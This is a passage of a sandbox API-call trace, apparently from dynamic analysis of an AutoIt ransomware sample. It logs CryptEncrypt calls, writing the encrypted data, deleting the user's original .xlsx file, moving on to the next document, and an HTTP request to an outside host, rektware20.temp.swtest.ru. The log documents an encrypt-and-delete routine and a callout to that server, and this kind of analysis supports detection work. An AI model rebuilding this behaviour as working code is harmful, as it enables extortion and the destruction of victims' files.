lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.880] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.880] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.880] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.880] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.880] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.880] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.880] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.881] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.881] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.881] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.881] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.882] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.882] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x9bf6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9c00) returned 1 [0070.882] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.883] CharLowerBuffW (in: lpsz="byte[39937]", cchLength=0xb | out: lpsz="byte[39937]") returned 0xb [0070.883] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.884] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.884] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.884] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.884] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.884] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17da718*, pdwDataLen=0x130e618*=0x9bf6, dwBufLen=0x9c00 | out: pbData=0x17da718*, pdwDataLen=0x130e618*=0x9c00) returned 1 [0070.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.884] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.885] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.885] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.885] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.885] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.892] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.892] WriteFile (in: hFile=0x3bc, lpBuffer=0x180b350*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x180b350*, lpNumberOfBytesWritten=0x130f01c*=0x9c00, lpOverlapped=0x0) returned 1 [0070.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.894] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.894] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.894] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.895] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.895] CryptDestroyKey (hKey=0x164c770) returned 1 [0070.895] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.895] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.895] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.895] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.895] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.895] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.895] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.895] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.895] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.896] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.896] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.896] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.896] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.896] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.897] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.897] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.897] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.897] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.897] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.897] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0070.897] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.897] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.897] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.897] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.897] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.897] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.898] CloseHandle (hObject=0x2ac) returned 1 [0070.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.898] CloseHandle (hObject=0x3bc) returned 1 [0070.903] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.904] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.904] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", lpFilePart=0x0) returned 0x35 [0070.904] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxgueznpgykhhz9d.xlsx")) returned 0x20 [0070.904] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0070.904] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxgueznpgykhhz9d.xlsx")) returned 1 [0070.920] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.925] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0070.925] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.925] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.925] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.925] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.925] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.925] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.925] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.925] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.925] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.926] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.926] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.926] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ef8c) returned 1 [0070.926] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.926] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.926] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.928] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.928] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.928] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.928] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.928] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.928] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.928] CloseHandle (hObject=0x0) returned 0 [0070.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", 